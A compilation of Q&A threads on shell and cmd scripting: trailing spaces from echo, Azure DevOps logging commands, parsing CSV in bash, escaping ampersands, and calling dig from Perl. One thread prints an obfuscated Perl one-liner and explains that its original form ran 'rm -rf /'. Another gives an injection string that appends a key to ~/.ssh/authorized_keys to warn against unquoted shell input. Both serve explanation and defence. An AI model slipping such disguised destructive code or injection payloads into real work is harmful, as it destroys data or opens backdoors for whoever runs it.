I noticed that when I use echo to print something to a file in DOS, a space is appended to the string. I need to print the string without the trailing space. Is there a way to do that, or as a workaround, remove trailing spaces from the file?
If I understood the problem correctly, you wrote the trailing space.
Instead of
echo string > file
use
echo string>file
Assuming you're talking about cmd.exe rather than the actual (rather outdated) MSDOS, there are a number of ways to do this, the first being:
echo Here is some text>output.txt
but I find that somewhat less than readable since I'm used to being able to clearly delineate 'arguments' on the command line.
Alternatively, there's nothing stopping you from swapping around the order of your command line:
>output.txt echo Here is some text
which will allow you to still separate the arguments whilst not having extraneous spaces put in your output file.
In fact, I've often used this method for blocks of code as well:
>output.txt (
echo hello
echo goodbye
)
which will write both lines to the file. I find it preferable in that case since you know right at the start where the output is going, rather than having to go and look at the end of the code block.
Some quick searching brought me this link
It seems you have multiple options. If you want to parse the file post-echo using a script, you could consider this VBScript
Do While Not WScript.StdIn.AtEndOfStream
WScript.Echo RTrim(WScript.StdIn.ReadLine)
Loop
which loops, line by line through a file(usually .txt), and performs RTrim, which strips trailing spaces.
Cheers
Related
Why is it that commands like this are often shown as being executing by echoing them? Typically echo would just treat the contents as a string and print it to output, which wouldn't execute it. Additionally, hash being the symbol for commenting out a command, makes this doubly confusing:
echo "##vso[task.setvariable variable=curProjVersion;isOutput=true]1.4.5"
Azure DevOps is listening to standard output of your task and interprets them when it finds the tag ##vso at the beginning of the line.
This is not something that is special to Powershell, you could set you variable from a js file like this:
console.log("##vso[task.setvariable variable=curProjVersion;isOutput=true]1.4.5");
All that matters is the standard output of your task.
Echo is a throwback to unix and bash. Echo is also nice way to output an array of strings without any quoting or commas.
echo one two three four
one
two
three
four
Normally, I do something like
IFS=','
columns=( $LINE )
where $LINE is a line from a csv file I'm reading.
However, how do I handle a csv file with embedded commas? I have to handle several hundred gigs of file so everything needs to be done quickly, i.e., no multiple readings of a line, definitely no loops (last time I tried that slowed it down several factors).
The general structure of the code is as follows
FILENAME=$1
cat $FILENAME | while read LINE
do
IFS=","
columns=( $LINE )
# affect columns changes here
newline="${columns[*]}"
echo "$newline"
done
Preferably, I need something that goes
FILENAME=$1
cat $FILENAME | while read LINE
do
IFS=","
# code to tell bash to ignore if IFS is within an open quote
columns=( $LINE )
# affect columns changes here
newline="${columns[*]}"
echo "$newline"
done
Any tips would be appreciated. Otherwise, I'll probably switch to using another language to handle this stuff.
Probably embedded commas is just the first obvious problem that you encountered while parsing those CSV files.
Future problems that might popped are:
embedded newline separator characters
embedded utf8 chars
special treatment for whitespaces, empty fields, spaces around commas, undef values
I generally tend to follow the philosophy that If there is a (reputable) module that parses some
format you have to parse, use it instead of making a homebrew
I don't think there is such a thing for bash, but there are some for Perl. I'd go for Text::CSV_XS. Being written in C I expect it to be very fast.
You can use sed or something similar to convert the commas within quotes to some other sequence or punctuation. If you don't care about the stuff in quotes then you do not even need to change them back. You can do this on the whole file:
sed 's/\("[^,"]*\),\([^"]*"\)/\1;\2/g' input.csv > intermediate.csv
or on each line:
line=$(echo $line | sed 's/\("[^,"]*\),\([^"]*"\)/\1;\2/g')
This isn't a complete answer, but it's a possible approach.
Find a character that never occurs in the input file. Use a C program that parses the CSV file and prints lines to standard output with a different delimiter. Writing that program is left as an exercise, but I'm sure there's CSV-parsing C source code out there. Pipe the output of the C program into your script.
For example:
FILENAME=$1
new_c_program $FILENAME | while read LINE
do
IFS="|"
# code to tell bash to ignore if IFS is within an open quote
columns=( $LINE )
# affect columns changes here
newline="${columns[*]}"
echo "$newline"
done
A minor point: I'd pick a name other than $newline; newline suggests an end-of-line marker rather than an entire line.
Another minor point: you have a "Useless Use Of cat" in the code in your question. You could replace this:
cat $FILENAME | while read LINE
do
...
done
by this:
while read LINE
do
...
done < $FILENAME
But if you replace cat by the hypothetical C program I suggested, you still need the pipe.
The following program is in Perl.
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-#[-`{-};`-{/" -;;s;;$_;see'
Can somebody help me to understand how it works?
This bit of code's already been asked about on the Debian forums.
According to Lacek, the moderator on that thread, what the code originally did is rm -rf /, though they mention they've changed the version there so that people trying to figure out how it works don't delete their entire filesystem. There's also an explanation there of what the various parts of the Perl code do.
(Did you post this knowing what it did, or were you unaware of it?)
To quote Lacek's post on it:
Anyway, here is how the script works.
It is basically two regex substitutions and one transliteration.
Piping anything into its standard input makes no difference, the perl
code doesn't use its input in any way. If you split the long line on
the boundaries of the expressions, you get this:
$??s:;s:s;;$?::
s;;=]=>%-{\\>%<-{;;
y; -/:-#[-`{-};`-{/" -;;
s;;$_;see
The first line is a condition which does nothing save makes the code
look more difficult. If the previous command originated from the perl
code wasn't successful, it does some substitutions on the standard
input (which the program doesn't use, so effectively it substitutes
the nothing). Since no previous command exists, $? is always 0, so the
first line never gets executed.
The second line substitutes the
standard input (the nothing) for seemingly meaningless garbage.
The third line is a transliteration operator. It defines 4 ranges, in
which the characters gets substituted to the one range and the 4
characters given in the transliteration replacement. I'd prefer not to
write the whole transliteration table here, because it's a bit long.
If you are really interested, just write the characters in the defined
ranges (space to '/', ':' to '#', '[' to '(backtick)', and '{' to '}'), and
write next to them the characters from the replacement range ('(backtick)' to
'{'), and finally, write the remaining characters (/,", space and -)
from the replacement pattern. When you have this table, you can see
what character gets replaced to what.
The last line executes the
resulting command by substituting the nothing with the resulted string
(which is 'xterm'. Originally it was 'system"rm -rf /"', and is held
in $_), evaluates the substitution as an expression and executes it.
(I've substituted 'backtick' for the actual backtick character here so that the code auto-formatting doesn't kick in.)
The command prompt complains that it is unable to recoqnize the command.So i was thinking i needed to escape something that looked like a start of a command to the echo with the ^ character.
This is the exact line:
echo Set link = Shell.CreateShortcut(DesktopPath & "\Beta.lnk")>>%temp%\CreateFirefoxBetaShortcut.vbs
I tried:
echo ^Set link = Shell.CreateShortcut(DesktopPath & "\Beta.lnk")>>%temp%\CreateFirefoxBetaShortcut.vbs
But no luck.Im puzzled by this because it correctly enters much more complex lines but for some reason it want's to treat this line as a command not a simple text.
I can post the full .vbs including the other lines if that helps somehow.
The ampersand ("&") character has a special meaning for "cmd". Therefore, it must be preceded with a caret ("^"), like this:
echo Set link = Shell.CreateShortcut(DesktopPath ^& "\Beta.lnk")>>%temp%\CreateFirefoxBetaShortcut.vbs
I've never programmed before, but needed to write a very simple webapp for work.
I'm trying to get this dig query to work:
dig #8.8.8.8 +nocomments +nostats +noquestion +nocmd google.com any
With this bit of perl:
$dig = `/usr/bin/dig \#8.8.8.8 +nocomments +nostats +noquestion +nocmd $query any`;
Except it doesn't seem to recognize "any" at the end of dig and gives me:
sh: line 1: any: command not found
What stupidly simple thing am I doing incorrectly?
I bet $query has a newline in it, causing your shell to see any as a new command.
Try doing chomp $query; before your system call to remove the newline. More on chomp.
You should probably use dig ... '$query' so it's single-quoted when the shell sees it. If you don't do that, then the shell will interpret any metacharacters. If someone puts "; echo my_key > ~/.ssh/authorized_keys" into your web form, then you're screwed. Even if it's for internal use only, you don't want it to break if someone puts in something with spaces in the query (which the shell will word-split and pass to dig as two args.)
You can use perl's \Q$query\E to expand $query with ever potential metacharacter \escaped. Actually, that's much better than adding single quotes, if the query contains a single-quote character, it will break out of the quotes. Still super-easy to attack. This should fix that in into your memory.
Perl has safe ways to use the system() function to specify the args as a list of strings, avoiding /bin/sh, rather than one string to be evaluated as a shell command. This is the safest way, but there's no back-tick version of that without doing the pipe && fork && exec yourself.
Most likely, it's something that's in the $query variable that's breaking the command string. Can you give us an example where it is failing and giving the error? Or show a little more of your script?